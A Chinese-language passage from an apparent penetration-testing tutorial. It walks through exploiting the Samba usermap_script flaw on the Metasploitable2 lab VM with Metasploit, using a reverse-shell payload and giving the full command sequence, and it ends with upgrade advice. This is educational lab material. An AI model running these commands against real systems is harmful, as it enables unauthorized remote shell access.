目录
四、漏洞利用
每个操作系统都会存在各种Bug,像Windows这样有版权的操作系统,微软公司会快速地开发针对这些Bug或漏洞地补丁,并为用户提供更新。全世界有大量地漏洞研究人员会夜以继日地发现、研究新的Bug,这些没有公布补丁的Bug就是所谓的0day漏洞。由于这种漏洞对网络安全具有巨大威胁,因此0day漏洞也成为黑客的最爱。实际上能够掌握0day漏洞的黑客少之又少。
微软公司会针对发现的Bug定期发布补丁,但是否下载更新则取决于用户自身。安全意识薄弱的个人用户或者中小企业常会忽略这些工作,特别是早小公司中,从补丁发布到服务器打补丁需要数星期,虽然打补丁时会涉及机器的重启或死机,对公司业绩没有帮助又增加了自身的工作量,但是未打补丁或补丁过期的操作系统对黑客而言是一个快乐的“天堂”。
下面就假设目标机器时Metasploitable2,对Linux机器进行渗透攻击。Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统,主要用于安全工具测试和演示常见的咯偶东攻击。该虚拟系统兼容VWare、VirtualBox和其他虚拟平台,默认只开启一个网络适配器并且开启NAT和Host-Only。该工具可以在网站http://sourceforge.net/projects/metasploitable/files/Metasploitable2下载。
首先对Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序,如图7所示。
收集到目标主机相关的信息后,为其选择正确的Exploit和适合的Payload。从扫描结果中发现主机运行着Samba 3.x服务。
Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件的打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件机打印机等资源的共享服务。
输入search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块,如图8所示。
然后Samba服务将返回漏洞利用模块的列表,按照各个漏洞被利用成功的相对难易程度进行排序。
因为exploit/multi/samba/usermap_script被标记为“Execellent”,即最杰出的,为提高渗透率,这里选择此模块进行接下来的渗透。
有关漏洞的详细信息可以通过info exploit/multi/samba/usermap_script
命令查看,如图9所示。
输入以下命令即可使用该漏洞的利用模块。
msf> use exploit/multi/samba/usermap_script
然后可以看到Metasploit命令提示符msf>会变成msf exploit(usermap_script)>。
使用show payloads
命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,如图10所示,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。
这里使用set PAYLOAD cmd/unix/reverse
命令选择基础的cmd/unix/reverse反向攻击载荷模块,如图11所示。
设置被攻击主机IP地址,命令如下所示。
msf exploit(usermap_script)> set RHOST 192.168.
设置漏洞利用的端口号,命令如下所示。
msf exploit(usermap_script)> set RPORT 445
设置发动攻击主机IP地址,命令如下所示。
msf exploit(usermap_script)> set LHOST 192.168.
设置完可以使用show options
命令再次确认参数是否已设置正确,如图12所示。
设置完所有参数变量后,输入攻击命令exploit
或者run
,如下所示,发动攻击。
msf exploit(usermap_script)> exploit
MSF发动攻击成功后会获取目标主机的Shell,为了验证该Shell是目标主机的,可以查询主机名、用户名和IP地址,并与目标主机进行对比,如图13所示。
攻击成功后,可以看到在攻击机和目标机之间会建立一个Shell连接,渗透Windows系统的过程类似,唯一的差别是选择的漏洞利用模块和攻击载荷块不一样。建议多尝试各种Exploit和Payload的组合,以加深理解。
防御方法:Samba服务漏洞发生在Samba版本3.0.20~3.0.25rc3中,当使用非默用户名映射脚本配置时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。将Samba升级到最新版本即可防御本漏洞。